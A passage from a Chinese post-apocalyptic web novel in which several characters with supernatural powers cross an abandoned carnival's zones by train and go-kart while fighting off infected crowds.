祝无忧摇摇头:“他们说外面全是感染者他们不敢出来。”
程承:“……行吧,怪不得被留在这。”
这样胆小怕事的人,即便跟着去了也是拖后腿的存在,还不如安心呆在安全区。
这边的游乐设施很简单,都是些刺激性低的,但树木很茂盛,一眼看不到尽头,自然也很难发现藏起来的人。
小火车的嗡鸣声再次传来,伴随着感染者的嘶吼。
区域内没遇到其他活人。祝无忧道:“之前那三人不是说这里还有他们的同伴吗?怎么没见到。”
程承大概猜到了原因,抿了抿唇没说什么。
以那三人的胆小程度,恐怕非必要不会出门,而不出门外面发生了什么他们也就无处得知。
此处感染者众多,危险程度非凡。区域里的其他人,程承猜,恐怕都已经变成感染者了吧。
伏苓没管,她有些烦躁地想去踢一旁的小树:“这地方就这么大,之前那人还能隐身不成?”
程承适时阻拦:“别踢,树上有雨水。”
伏苓不情不愿地收回脚。程承才道:“说不定呢。之前我们不就遇到个异能是隐身的?”
其实若是这人的异能是隐身倒也合理,不然这个所谓的“第三方阵营”又怎么会这么长时间都没有被发现?
三人搜寻无果,又回到了月台附近。小餐厅的门被开了一条缝,三人靠近的时候,门被猛地拉开。
程承下意识发动攻击,红雾铺面袭出,直击目标。
“等、等等,是我……”略带胆怯的声音急切地响起,周围红雾微微停滞。
伏苓侧头:“谁?”
程承回忆了两秒:“好像是之前那三人里面的小孩。”
他撤回红雾,少年扶着门框小心翼翼地走出来,正是餐厅里那个眉眼冷淡的男孩。他面色带着些许犹豫,但眼神中却隐隐露出坚定的神色,矛盾又融合。他目光直直地看向伏苓:“我可以和你们一起吗?”
伏苓挑眉:“为什么?”
“我、我想去见见妈妈,她应该还在海盗区。”男孩有些紧张地搓着自己的衣角,语速又快又急:“我会尽量不拖你们后腿的,嘉年华里面的情况我大概了解一些,应该能给你们提供点有用信息,我还……”
“行了。”伏苓出声打断,男孩的声音戛然而止,惶恐又落寞地看着伏苓,却见她语气冷淡:“跟好了,我们没空救你。”
男孩的眼中顿时迸发出光亮,他重重地点头:“嗯!我会跟上的。”
程承收回目光。
这孩子一看就没什么心思,跟着便跟着吧。
祝无忧笑嘻嘻地凑过去:“叫我祝无忧就好,你叫什么名字啊?”
男孩有些不知所措地看着她,抿了抿唇,道:“额,你叫我小水吧。”
“小水?”祝无忧眨眨眼睛,不理解:“你没有名字吗?”
程承扫了小水一眼。半大的孩子,看上去才十三四岁的模样,这么算来,雨灾发生时,这孩子应该才五六岁。
小水有些不好意思地挠了挠头:“嗯……雨灾之前的事情我都不怎么记得了,名字也只记得里面有个水。”
“哦……”祝无忧愣愣点头,她也倏地意识到了小水的年纪,但她向来不是个容易陷入负面情绪的人,心疼了男孩两秒后又托着腮思索:“水?哪有人起名字起水的啊?会不会是‘淼’?”
小水弯弯眉眼:“有可能哦。”
聊天的间隙里,几人已经走到了月台前的最后一个建筑处。月台那里依旧挤满了数量惊人的感染者。
程承抱着臂,看向那些感染者的目光带着探究。
刚刚他们在区域内转了那么久都没有遇到一个感染者,而这边却有这么多,所有感染者都有意无意地聚集在月台附近。甚至当时他们为了躲雨闯进餐厅,这些感染者也没有追回来。
程承嘴角勾了勾,真不愧是所谓“有组织有纪律”的感染者。
祝无忧扒着墙,皱着脸问:“这么多感染者,我们怎么上车啊?”
“看样子似乎只能把他们引开了。”程承沉吟两秒:“距离上一次听到汽笛声过去了大概七八分钟,我们最多只有六分钟的时间引开感染者,趁机上车。”
方才绕的一圈让程承大致记住了该区域的地形,引开感染者并不是最困难的事情,最难的是绕圈甩开感染者,精准把控时间保证在感染者回到月台时小火车已经启动。
不然,就凭那个拍两下就裂的小火车根本抵御不住如此大批的感染者的疯狂攻击。
伏苓抬了抬下巴:“我去。”
若是旁的事情,交给伏苓无疑是最好的选择。
她嚣张、强大,能不费吹灰之力地将所有挡在自己身前的障碍斩碎。
但这次不一样。
他们接下来要做的事情并非是单纯地引开感染者,而是伴随着一系列需要随机应变的行为。
之后还不知道会遇到什么,尽量将伤害最小化才是最优的选择。
而这种事情,程承来做是最合适的。
程承摇摇头:“我去。”
他轻轻转了两下手腕,道:“小火车停下后,需要你帮我尝试一下能不能完全驾驶它,如果不能的话,立刻告诉我。”
在第一个月台那里程承就记住了小火车停留月台的时间,大约在两分钟左右。
如果伏苓无法控制小火车启动,那他只能控制自己上车的时间在发车前的三秒内,以保证感染者无法追到月台攻击小火车。
伏苓点点头,语调平平:“行。那你小心。”
祝无忧紧张兮兮地看着程承:“对,你一定要小心哦。”
程承笑了一声:“好。”
整个嘉年华内黑白一片,周围是荒废多年的破败设施,风卷落叶,游荡过空无一人的路面,缓缓落在一片水洼上。
程承大步走向路中央,狂风卷起他的衣角,伏苓抬起能量枪,对准了他身后的梧桐树。
“砰”的一声,梧桐树伴随着巨大的声响轰然倒地。
月台的感染者猛地回头,猩红的眸子死死盯着站在空无一人的大道上的程承,布满血迹的面孔扭曲成狞笑。一阵阵嘶吼传来,几乎所有的感染者都疯狂地朝着程承狂奔而去。
程承站在原地没动,清亮的眸子冷静地扫过周围。
很好,没漏下任何一个。
他勾了勾唇,轻笑:“跟我走吧。”
他胜券在握地缓缓后退了两步,转身朝着预设的路线跑去。
月台瞬间空无一人,甚至微风刮过还有了一丝凄清的感觉。远处是不断响起的重物倒地声和感染者的嘶吼声,移动速度极快。
祝无忧皱着脸:“真的没问题吗?”
伏苓跨了出来,有些嫌弃地踹开路上已落下的残肢:“没事,顶多狼狈了点,死不了。”
祝无忧拉了呆若木鸡的小水一把,幽幽跟上了伏苓:“原来死不掉就是没事啊。”
三人上了月台,之前倒是没发现,这里的月台控制器旁边也扎着一个人偶,伏苓掀开他的兜帽,露出了那张诡异的脸。
画出来的眼睛直愣愣地盯着两人,嘴巴咧得大大的,看上去僵硬又不协调。
祝无忧讪笑着退后两步:“还是有点吓人的。”
伏苓瞥了她一眼:“之前不是免疫了吗?”
祝无忧:“我间接性免疫!”
伏苓没管她,一边掏出匕首干脆利落地给人开膛破肚,一边道:“看着点车,来了喊我。”
人偶身体里塞的还是那些东西,不同的是,伏苓从里面扯出了一堆白色的布料,像是被裁掉的边角。
伏苓轻轻抚摸着布料,垂下了眸子。
这个布料的材质她见过,在不远处的餐厅。仅有的几张桌布的材质与之似乎一模一样。
她捏着桌布站起身,祝无忧眨眨眼睛看她,指了指远处正在靠近的小火车:“预感这么准的吗?车快到了。”
伏苓敷衍地点点头,快步朝着餐厅走去:“你先上,我很快回来。”
祝无忧:“???”
她目瞪口呆地看着翻出月台的伏苓的背影,含泪道:“那你给我多带几个橘子。”
小水昂头看了她一眼:“什么橘子?”
祝无忧差点忘了这还有个文盲,她无心解释,只道:“没事。”
伏苓飞快踹开餐厅的门,对上了剩下两个躲在这里的少年人的惊恐眸子,她没管他们,飞速抽走最近的那张桌布,又转身一脚踹开对面餐厅的门,同样抽走了一整条桌布。
小火车的嗡鸣声近在咫尺,与此同时,感染者的嘶吼声也如约而至。
她没有停留,用最快地速度跑回月台翻了上去。
她隔空点了点祝无忧:“上车。”
然后纵身翻进了车头。
还是之前一样的配置,伏苓飞快摁了一下“开车”按钮,小火车没有一丝动静。
看来是不能控制开车了?
伏苓皱了皱眉,远处的嘶吼声越来越近,伏苓瞥向了月台上无人值守的控制器。
她又翻了出来,控制器上操作更简单了,只有一个“开”和一个“停”。
车厢内,祝无忧担忧地伸出一颗脑袋:“伏苓!感染者要到了。”
远处,程承没有得到伏苓消息,下意识飞速朝着月台赶来,身后乌泱泱的感染者距离他不过十米。
嘶吼,血腥和柴油的气味萦绕在鼻尖,伏苓抬眼看向程承,摁下了“开”的按钮。
空气安静了一瞬,下一秒,汽笛声骤然响起。
与此同时,程承翻过月台,两人目光对上,只一瞬,又倏然分开。
车轮缓缓转动,伏苓双手抓着窗户上沿跃进车箱,程承纵身一跃,抓住门边将自己甩上小火车。
车后,最前方的感染者不顾一切地扑向车尾巴,祝无忧飞快跑过去,一张星牌甩出,她沉声道:“困。”
星牌瞬间化为无数藤曼,死死缠住了最前面的几个感染者,尾部的藤曼如活的一般疯狂生长,目标明确地困住了后面一茬一茬的感染者。
祝无忧松了口气,感叹:“我怎么这么牛逼?”
“确实牛逼。”伏苓夸了一句,弯腰将躺在地上的程承拉起来:“没事吧?”
程承摇摇头,抹了把额间的汗:“没事。”
他伸手将额间碎发扒拉到脑后,坐在座椅上缓了一会,才指着伏苓手上的白色布料问:“这是什么?”
“哦,餐厅的桌布,还有——”她将中间的小块碎步扯出来,一起塞到程承怀里:“人偶体内的布料。”
她不想思考,思考这活还是交给程承吧。
“这碎布应该从就是这些桌布。”程承摸摸这个摸摸那个,抬起头看伏苓:“大块的桌布你有见过吗?”
伏苓摇摇头,掏出匕首将自己旁边的人偶割开了:“没有——非要说的话,那些人偶外面这层皮似乎有点像。”
她用刀尖拨开废纸和瓶子,挑出了一块灰色的碎布:“这是什么?之前那个火车上的人偶里面也有。”
只不过那个人偶体内的布是红色的。
“是不是这个啊?”祝无忧犹犹豫豫地晃了晃窗户边被撕了一半的灰色窗帘。
程承伸手摸了两下,又上手去摸摸伏苓手上的碎布:“一样的。”
他示意伏苓帮忙割下人偶外层的布料,拿着跟窗帘对比了一下:“这个也是。”
伏苓抬眼看去,他们上小火车上得急,到现在才来得及打量车内的环境。车厢内的大致情况与上一辆小火车没什么区别,最显著的差别在于二者的颜色不一样。
眼前的车箱墙壁、椅子等等都是大差不差的棕灰色,窗户依旧大开,但窗帘却只剩下一两块,甚至有一条窗帘几乎只剩下一个小长条了。
虽然伏苓没注意之前那辆小火车的窗帘是什么颜色的,但当时整体的风格就是复古的红色,想必窗帘颜色也差不到哪去。
也就是说,这些人偶基本上是取材于周围的材料。
程承沉默了两秒,问了一个突兀的问题:“你还记得之前在对面偷窥我们的人吗?”
伏苓“嗯”了一声:“到现在还没抓到祂。”
“我在想,这些人偶会不会是那个人做的。”程承道。
祝无忧凑过来,胳膊搁在椅背上:“为什么这么说呀?那个人看上去跟人偶好像没什么关系。”
“只是一个猜测,如果是核心做的人偶,不可能这么大费周章。而且你看这些桌布——”他抖了抖手上的白色布料:“我们目前只在餐厅见过,而那个人不偏不倚也躲在对面的餐厅。”
他偏头看了眼窗外飞驰而过的风景:“可惜已经离开了,不然我们可以去对面餐厅看看那里的几个人偶有没有新做成的。”
伏苓有些不赞同:“但祂也只是出现在餐厅,说不定只是凑巧。”
“对,所以我才说只是一个猜测,因为我猜之前我们在门口遇见的那个人也是祂。”程承道。
“那我有一个问题!”祝无忧举起手:“祂为什么要做人偶?”
程承摇摇头:“不知道,但应该是有目的的。”
“你说,祂到下一个区域了吗?”伏苓问。
程承抬眼,对上了伏苓的目光:“当然,我不认为祂会一直待在一个区域。”
话音落下,他突然意识到一个问题。区域之间互通都是通过乘坐小火车,但自从他们进入区域后,月台一直被数百个感染者团团围住。
“所以,祂怎么去往下一个区域?”
伏苓站起身,目光冷冽地扫过车上的人偶:“或者,祂现在就在这?”
车厢内的情景一览无余,椅子下的空间很小,就算隐身也藏不了人。
会躲在哪里呢?
祝无忧有些紧张地吞了吞口水,小声道:“卧槽好恐怖啊,这人不会一直跟着我们吧?”
软剑甩出,一瞬间就将车内所有人偶的脑袋拧断。
几颗脑袋可怜兮兮地滚落在走道中间。
伏苓歪歪头,语气多了一丝委屈和失望:“不在吗?”
红雾散开,布满整个车箱。程承勾了勾她的指尖:“车厢里没人。没事,先不管祂,暂时起不了什么风浪。”
伏苓瘪瘪嘴坐下:“浪费我感情。”
程承勾着她的手指没放开,反而将指尖缓缓挤入她的指缝,他面不改色继续道:“也可能在车顶或车底,不过如果祂能隐身的话我们找起来太麻烦。”
“但是如果不在这辆小火车上,这人还能用什么办法去往下一个区域?”
他们先前在区域里面转过一圈,程承特意留意了一下,基本上不可能有通往其他区域的小道。
祝无忧突发奇想:“难道有地道?”
伏苓:“想也不可能,这车开了有段时间了,这么远的距离,地道工程量太大。”
祝无忧耷拉着脑袋:“好的。”
“叮叮当,叮叮当,铃儿响叮当。”
歌声突然响起,吓得祝无忧一
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个激灵,灵活翻过座椅拱到程承那排座位的里面:“什什什么东西?”
她又想起来什么,伸长脖子朝小水招招手,压着声音道:“快来快来。”
小水飞快地从椅子底下钻了过去,缩在祝无忧和程承中间。
童声织就的歌声在破败的设备下断断续续,中间还夹杂着电流声,最后的那个“当”被拉长、扭曲,让人起了一身鸡皮疙瘩。
小火车前方陡然响起细碎的灯光,挂着灯带的圣诞树排列在道路两侧,只不过寻常的灯带颜色缤纷,眼前的却只是灰蒙蒙的一片,连圣诞树的颜色都如同褪色一般。
伏苓冷眼看着窗外慢悠悠后退的圣诞树:“应该是到下一个区域了,什么来着,童话风?”
祝无忧吞了吞口水,手指紧紧攥着小水的衣服。窗外虽然都是代表欢乐的圣诞树,但她总觉得有点不对劲。
就像……就像有人在盯着她一样。
一股奇怪的腐朽气息钻进她的鼻子,她慢吞吞地扶着前排座椅,想挪到座位上去,却在余光里扫到一张扭曲放大的脸。
“小姑娘,”祝无忧猛地转头,微微收缩的瞳孔中印着飘在窗外的老人的脸,她笑得脸上的皱纹都堆在了一起,仿佛一个泡了水又晾干的报纸:“要吃苹果吗?”
祝无忧当即又跌回地上了。
软剑如迅雷扫出,却没想这东西速度更快,一闪身躲过了伏苓的刀刃,她笑着递出手中红得鲜艳的苹果,重复道:“小姑娘,吃苹果吗?”
程承飞速将祝无忧拉到身后。
车厢内也开始响起断断续续的歌声,与车外的歌声差了一拍,空灵的歌声像是二重奏,却显得格外诡异瘆人。
伏苓脸色难看地再次甩出软剑,这还是她的攻击第一次被人躲了过去。窗外的老人表情纹丝不动,像是一个没有生气的雕塑,轻巧地再次避开伏苓的攻击。
但可惜,伏苓此次的目标是她手上的苹果。
软剑的攻击路径本就诡谲多变,伏苓想声东击西太简单了。
鲜艳欲滴的苹果顿时四分五裂,老人的笑容僵了一瞬——虽然她的笑容一直都是僵硬的,然后缓缓后退,一成不变的笑容紧紧看着三人,黑暗笼罩了她的身体,很快将她掩盖。
歌声戛然而止。
周围顿时一片寂静,祝无忧哭丧着脸从过道的人偶脑袋上爬起来:“他们管这叫童话风?”
伏苓将那颗扁了的脑袋踢走,冷冷道:“白雪公主的后妈,怎么不算是童话?”
她用手肘碰了碰正在走神的程承:“那是人吗?”
程承抬眼看她:“不是,可能是某种机械装置,但是被赋予了异能。最近很少遇到了,你还记不记得道具?”
伏苓挑了挑眉,这东西太久没出现过,程承提醒她才隐约想起来,八年前异能出现在世人身体的时候,有些物品也表现出违反科学的状态。
但这些道具都是一次性的,而且只有在雨灾开始的前期频繁出现,到如今基本上算是销声匿迹了。上一次看到有人用道具,还是在临安的前瞻集团。
伏苓皱眉:“你的意思是,刚刚那玩意是道具?”
程承点点头:“有点像。”
经此一遭,祝无忧已是风声鹤唳,左看看右看看,又忍不住插嘴:“哪有道具这么离谱的?正常的不都是效果很差吗?”
“或许是因为金城核心强大,持续给它供给异能?”程承猜测。他不免有些心惊:“之后或许还会遇到这种东西,要小心。”
祝无忧“呜呜”两声,含泪抱住伏苓的腿:“父亲,你一定要保护我啊!”
伏苓嘴角抽了抽:“你少跟游寂学。”
祝无忧抱紧她的大腿摇摇头:“不,你给我买了橘子就是我的父亲。”
伏苓:“……?”
“叮咚。”车箱中声音陡然乍起。
祝无忧下意识松开伏苓防止耽误她行动,伏苓全身戒备,警惕地看向声音的来源。
“欢迎来到——童话镇,雨水将滋润您的身体,赐予您祝福!希望您在童话的世界里度过美好的一天!”
甜美的声音带着电流,滋滋作响。
程承一愣:“什么意思?又要下雨?”
祝无忧跳了起来:“那我们又要跑?”
两侧的圣诞树逐渐后退,露出了前方铺满皑皑白雪的站台,站台上的栏杆都挂上了五颜六色的灯带,栏杆旁边摆着几个礼物堆。
小火车缓缓停下,没有雷声,没有雨声,甚至嗅不到一丝雨水的腐朽气息。
噗呲——随着声音响起,小火车的车门颤颤巍巍地打开,让出了一条通道。
几人没有动,皆是警惕地打量着外面的情况。
祝无忧惊奇道:“这还有雪啊?”
伏苓靠在门边,垂眸辨认了两秒,道:“假的。”
很逼真的雪,但没有雪的气息。
站台上方没有遮挡,天空阴沉沉的,不知何时就会落下雨来,月台自然是不能久待。
往外是一条约莫七八米的大路,大路两侧的圣诞树边或趴或躺地扎着一些人偶,脸朝着月台露出诡异的笑容。
右侧建着一个糖果屋,看上去像是个不能进去的等高模型,朝着路的那一面往里凹陷,里面摆着被节日彩带遮挡地差不多的两台机器。
——程承努力辨认了好一会,确定那是两台ATM机。
程承:“……”
一出站就摆ATM机,真不愧是资本家,就差把手伸进游客口袋里拿钱了。
沿着路往前,一路上弯弯绕绕,程承不太能看清尽头。路的两侧排满了巨大的圣诞树、几近三米高的巨型礼物堆和枝桠上铺满白雪的云杉。
没有可以躲雨的地方。
程承脸色有点差,如果路上突然下雨,那对他们来说绝对是灭顶之灾。
“好多城堡啊。”伏苓没有感情的声音响起来,她抬起下巴示意两人向上看。
只见他们的正前方的不远处的云杉上方冒出一个粉色城堡的塔尖,塔尖的右侧一点——或许可能更远一些,又是另一个不同样式的蓝绿色城堡,比中间的城堡高一些,基本上能看清它的上半身。
而在他们的左侧的城堡则整体呈现灰色色调。
程承还没来得及回话,站台前方的大路两侧的圣诞树里面陡然冒出一个个黑色的机械小精灵,带着黑色的女巫帽,举着手中的魔法棒向四面八方喷水。
噗呲——噗呲——
程承:“……”
伏苓:“……”
祝无忧:“……是这个雨水吗?”
小水本来缩在走道上,闻言抬起脑袋,轻声道:“对,嘉年华有一个专门的蓄水池,这里的水都是从蓄水池里面抽出来的,那个池子早就被雨水污染了。”
小精灵转着圈喷了十秒的水,又缩回了圣诞树里。
程承面色复杂:“所以我们要躲避这些水柱?”
伏苓耷拉着眼皮一脚踏上月台,军靴陷入洁净的厚雪中,发出“咯吱”的声音:“那还等什么,走了。”
祝无忧扶着伏苓的肩膀跳下来,即便眼前的景物都呈灰色调,也依旧能看出曾经这里布置得有多好看。她左看看右看看,钦羡道:“早知道之前我也来玩了,就凭这个布景,嘉年华也不可能不好玩。”
程承笑了一声:“嗯,你怕是忘了上一秒你还在骂嘉年华是黑心资本家。”
祝无忧噎了一下,嘴硬道:“这小火车不黑吗!”
话音落下,小精灵又冒了出来,喷着水开始转圈。水的最高点大约在两米左右,恰好能让人从中通过,细密的水珠从高处散落,像纷纷扬扬的雪花。
程承默默数着数,等小精灵缩回去,道:“十五秒一次,一次十秒。”
祝无忧跑到月台边缘好奇地戳了戳礼物堆,又撑着栏杆探出身子往外看,有些疑惑:“不是说接下来的区域有很多感染者吗?怎么这里一个感染者都没有?”
伏苓看了一眼乖乖跟在他们身后的小水,问:“你来过这里吗?”
小水点点头,抿了抿唇又摇摇头:“来过,但近期没有。”
身后的小火车乌拉乌拉地离开,露出轨道另一侧层层密密的云杉树林。程承转过身来:“这三个城堡是什么建筑,你知道吗?”
“知道,左侧的灰色城堡只是一个类似于拱门的建筑,下方的路通往最边角的小矮人过山车;前面的这个城堡是爱丽丝卡丁车里面的建筑,我没记错的话里面空间还挺大的;后面那个是酒店,有点远,要穿过一片云杉林。”小水道。
这么看的话,似乎爱丽丝卡丁车里的城堡是最优选择了。
程承想尽量掌握多一点信息以便之后随机应变:“卡丁车能停在城堡里面吗?”
小水愣了愣,有些犹豫:“当时应该是不允许停的,只能放慢速度,城堡里还会站着工作人员监督。但里面很大,城堡内部就像电视里的城堡一样。”
程承点点头,看向伏苓:“那我们去这里吧。”
伏苓颔首,她没什么意见。
祝无忧嘿嘿一笑:“卡丁车诶。”
她上次玩这个还不到十岁,都是爸爸带着她玩的,要说自己驾驶什么的,她还真是第一次体验,不免有些新奇。
程承学她也嘿嘿一笑:“这的卡丁车能跟寻常卡丁车比吗?”
祝无忧一下就蔫了。她恨恨地瞥了一眼程承,小声跟伏苓告状:“你有没有觉得这人越来越坏了?”
伏苓挑挑眉,点头赞同道:“确实。”
确定目的地之后,事情就变得简单多了,站台前竖着一个涂鸦地图,程承避开地图下跪着的人偶,凑上去看了两眼,确定了路线。
天空隐隐传来雷声,时间不多了。
“十五秒,冲过去。”程承转头,指了指弯道处的公主雕像:“到那可以爬上去稍微休息一下。”
祝无忧嘴角抽了抽:“我为公主默哀。”
程承接着道:“月台距离卡丁车大约一千米,我们至少要快速跑七八段,中间还可能遇到意外情况。”
轰隆——
雷声催命一般响起。
祝无忧纳了闷了:“这雨怎么每次都卡这么准?故意的吧?”
程承看向小水:“你可以做到吗?”
他们仨经历这么多应该没什么问题,主要是这个十几岁的小朋友。
祝无忧默默举手:“我不可以。”
小水坚定地点点头:“嗯!我会努力。”
伏苓用手肘怼了怼祝无忧:“学习一下。”
祝无忧礼貌微笑:“学习不了一点。”
伏苓笑了两声,轻轻拍了拍她的脑袋。
“伏苓。”伏苓抬头,对上程承的眸子,他眼中闪过笑意,声音也变得温柔了些:“你殿后?”
殿后的位置算是最危险的一个,她不乐意记路线,所以在最前面开路的只能是程承。
伏苓“嗯”了一声。
这种拼速度的游戏,队形不易拉得太长。程承开路,祝无忧和小水紧跟其后,伏苓则一脸无所谓地站在最后,一幅要干翻世界的模样。
小精灵缓缓转着圈,水珠散落,滴滴答答地落在湿滑的地面上。程承目光紧紧盯着两排小精灵,周围很安静,安静到让他听到了从小精灵口中唱出的轻柔细腻的音乐声。
混在雨声里,如流水缓缓道来。
随着最后一个音符的落下,雷声轰鸣而至,小精灵缓缓向后退,中间被破开一条窄小的缝隙。
程承当机立断:“跑!”
66. 废弃游乐场03
风声在呼啸,那个从水珠中展开的通道逐渐变宽,两侧的圣诞树在程承靠近的瞬间放出咿咿呀呀的童声合唱,断断续续的。
到了近前才发现,不少圣诞树的中间还放着五颜六色的自动售货机,上面用漂亮的装饰物伪装成童话世界里的奇特树木。
叮铃铃——
程承猛地一颤,余光瞥向一侧,只见那黑色的女巫帽帽尖已经开始冒了出来。十五秒果然还是不太够啊。
正思索着用红雾抵挡几秒,却没想身后陡然传来祝无忧的惊呼:“卧槽!”
程承顿感不妙,猛地回头看去。只是他还没来得及看清什么情况,就听见了悠扬歌声中软剑撕破寂静的破空之声。
紧接着,一张扭曲的脸从他耳侧擦过,甚至看到他的瞬间还下意识张嘴想咬他,却在下一瞬被惯性拉远,撞飞了一排的小精灵。
程承:“……”
他大概知道发生什么了。
随着第一个感染者惨烈地撞进前方的礼物堆内,周围渐渐响起了走动的簌簌声,无数感染者从路边的圣诞树中伸出一只只惨白的手,然后从中破出,嘶吼着扑向众人。
但他们还没来得及有所动作,下一个感染者再次横着撞翻另一侧试图喷水的小精灵,以横扫千军之势撞飞了一排的感染者。
伏苓冷冽的声音从背后传来:“直接冲。”
程承应声而动,肆虐的红雾向前扫荡为几人破开一条通往前方的道路,祝无忧死死拽着小水的手,手中星牌甩出,化作浑身镀金的麒麟横冲直撞。她紧紧跟着程承,生怕自己落下一步。
小水乖巧地跟着祝无忧,哪怕已经累得快要踹不上气,呼吸开始凌乱,他也始终一声不吭。
星牌化作的麒麟在三秒后消失不见,如红色的尘埃一般散入感染者之中,祝无忧见小水不说话,还以为他是害怕了,狂奔之余抽空安抚道:“别怕别怕,伏苓在呢!”
身后蛟龙一般的软剑如保护神似的狂舞在四人周围,但凡靠近一步的感染者都被尽数撕碎。
爱丽丝卡丁车离得不远,几人在鸡飞狗跳之中很快抵达。
卡丁车的入口很高,下面是厚实的城墙,要上去得顺着旋转楼梯拾级而上。
祝无忧开了个十五秒的屏障挡住身后人潮,三步并作两步往上爬:“快快快,十五秒十五秒!”
程承飞快跃至检票口前,入口被透明的玻璃拦着,程承单手撑着玻璃利落地翻了过去,转身顺手把扒着玻璃爬过来的祝无忧扶了下来。
小水的个头有点矮,伏苓二话不说拎起他的后领把他扔了进去,程承赶忙上前抱住他。
天边划过刺目的闪电,光芒刺破灰色隐隐约约照了进来。伏苓翻了进来,只见跑道上放着十几个双人卡丁车,车的样式丰富多彩,有很多童话里的角色,看上去很受小朋友喜欢。
——只是几乎每一个卡丁车的座位上都扎着一个人偶,它的脑袋歪斜着,表情或悲或喜。
程承眼尖,指着最前面的卡丁车,另一只手把祝无忧推了过去:“那辆没人,你们俩上。”
这么危险的情形下,祝无忧小跑过去的时候却诡异地冒出来了类似喜滋滋的情绪:“我还没开过卡丁车呢嘿嘿嘿。”
小水坐在副驾上,担忧地看了一眼祝无忧,她正在判断哪个是油门哪个是刹车。
小水:“……要不,我来?”
祝无忧眼睛一瞪眉一挑:“你不信我?”
小水:……我该信吗?
“砰”。
底下传来的屏障碎裂的声音,像是玻璃砸在地上,嘶吼声浪潮一般传来。与此同时,天空惊雷乍响,闪电划破天际,冷冽的风吹来的腐朽的气息,令人作呕。
伏苓一剑砍碎离她最近的卡丁车上的人偶,人偶一半在车左边,一半在车右边,异常惨烈。
她毫不在意地坐了进去,随手试了试几个操作键,脚踩油门粗暴地撞开了挡在她前面后面的几辆车,驶入车道中。
身后程承还没跟上,伏苓头都没回:“程承,你少搁那解绳子了,直接扯开不行吗?”
正在试图解开绳子不伤害人偶的程承动作一顿,他尴尬一笑,轻咳了两声,将人偶翻了个身甩到车外,自己坐了进去:“好了好了。”
两人很快熟悉驾驶,追上了前面一抽一抽的祝无忧。
程承车外的人偶如同海藻一般随风飘荡,他笑道:“怎么抽了,是没电了吗?”
祝无忧瞪了他一眼,一脚油门踩到底,米老鼠卡丁车如离线之箭一般冲了出去。小水哇啦哇啦叫的声音被风吹散,显得断断续续的。
伏苓:“……你非要逗她干嘛?”
雷声轰鸣中,她的兜帽被狂风吹落,露出发尾绚丽的色彩,在一片灰蒙蒙的世界中异常夺目,让程承几乎移不开视线。
空中雷声轰鸣,掩盖住他的心跳。
他心中倏地涌上一股难以名状的冲动,“想和伏苓一直在一起”的念头如红雾般肆虐过全身,让他抛弃对未来的担忧,只想将这一瞬间无限拉长。
那一瞬,分离比死亡更令他恐惧。
心中扭曲的情感如诡谲遒劲的百年古树,根茎将他的理智层层包裹,只剩下了最原始的欲望和渴求。
——他想跟伏苓永远在一起。不论是生,还是死。
他不想生离,也厌恶死别,如果最后的结局一定要有人去死的话,他渴望他能跟伏苓一起死去。
他看着她笑:“好想你啊。”
伏苓:“?”
她奇怪地看了他一眼:“你是不是有病?”
她跟他分开过五分钟吗?
程承笑容更深,嘴角的小梨涡一隐一现,眼睛弯弯,长长的睫毛都快触到眼下的皮肤。
他想说感觉还没分开就已经开始想你了。
但又觉得矫情,只好顺着自己的内心说了一句前言不搭后语的话:“可以亲你吗?”
伏苓:“……???”
她的卡丁车倏地往前窜了一截,眼中闪过一丝嫌弃,语气硬邦邦的:“你一定要在这么紧急的时候说这句话吗?”
空气中弥漫着腐朽潮湿的气息。
快下雨了。
前方的跑道有个急转弯,伏苓单手快速转动方向盘,速度丝毫不减地来了个漂亮的漂移。跑道旋转着往下,两侧灯光大开,墙壁都是金碧辉煌的模样。
他们驶入了城堡内部。
程承追上她,语气没什么变化,但伏苓硬是听出了几分委屈:“你不想吗?”
伏苓抿了抿唇。唇齿碰撞的柔软触感仿佛再次被自己的唇瓣感知,她伸舌舔了舔唇瓣,尾音上扬,轻飘飘道:“想啊。”
她瞥了一眼程承溢满笑意的眸子,无意识地挑了挑眉:“等得空再说吧,总不能现在伸着脖子隔着两个卡丁车亲吧?”
这句话画面感太强,程承没忍住笑出了声,他心中莫名的焦躁和恐惧消散了些,总算恢复了些许理智:“那个,都听你的。”
“我靠!”前方猛地荡来祝无忧的尖叫,伏苓目光一凝,与程承对视了一眼。
看来城堡里面有人。
两人不再悠哉游哉地开车,伏苓一脚油门踩到底,将卡丁车开出了赛车的气势,擦着地面直冲前方。
再往前是一个上坡的大弯道,那辆看上去可可爱爱的雪人卡丁车不管不顾地加速冲刺,如快要起飞的飞机般脱离地面,扬起阵阵灰尘。
她一个漂移扫荡了一圈围着祝无忧的感染者,将车子稳稳地横在道路中央。
红雾如影随形地护在他们与感染者中间。
感染者僵硬地从地上爬起来,正欲再次进攻之时,不知怎的所有人感染者的动作猛地一至,脑袋如同提线木偶般缓缓转向包围圈外正在下车的程承,眼底的凶光几乎要将他整个撕碎。
正急急忙忙下车的程承:??
他有些懵地眨了眨眼睛,看向伏苓:“我干啥了?”
伏苓没来得及回答,因为所有感染者闻声而动,面露凶光,几近疯魔般朝着程承攻去。程承抬手将红雾形成屏障挡在身前,细细观察着这些感染者的神态。
“奇怪,怎么这么激动?”程承呢喃出声。他不是没有正面对上过感染者,自然知道感染者追杀人的正常反应是什么,而如今的这些感染者明显更为激动,看向他的眼神满是愤怒和滔天的杀意,全然不复往日的混沌。
之前小水他们隐约提起过,感染者似乎有人在控制。他原先还在怀疑这句话的真实性,毕竟他们几乎走过了半个国家,也没有遇见过有人能真正控制感染者。
哪怕是游寂,也只是借助核心的力量对他们进行短暂的控制,根本不可能操控他们的情绪对一个人产生杀意和愤怒。
但此刻感染者却是的的确确有了相关的情绪。
程承不觉得这是某种异能,因为就算有异能可以控制感染者的情绪,令他们愤怒,但却无法精准控制每一个感染者的愤怒对象。
他们突然暴起一定是有某种原因。
程承目光冷静得可怕,思绪飞快运转。
他与伏苓他们有什么不同呢?
他们穿的黑袍,遇到的事情,碰到的东西,几乎都是一样的,顶多也就是在第一个区域程承独自引开了感染者一段时间。但那段时间里根本没有一个感染者触碰到他,甚至都没有靠近过他一米以内,就算从气息这种玄之又玄的角度来讲,都没有能单独拎出来的可能。
突然,后方一阵微风吹过,程承敏锐地察觉到了杀意。他猛地回头,瞳孔中闪现出一把半米长的青色刀刃,直击命门。
他红雾正抵御着前方的感染者,再抽出部分躲开攻击有点悬,而刀刃几乎快要逼近他的鼻尖。
糟了!
程承心跳停了一拍。
这招他躲不了!
千钧一发之时,软剑破空而来,却在抵达的瞬间如柔软的鞭子般卷住那把长刀的刀刃,程承仰头躲避,与从上方操着软剑的跃至半空的伏苓对上视线。
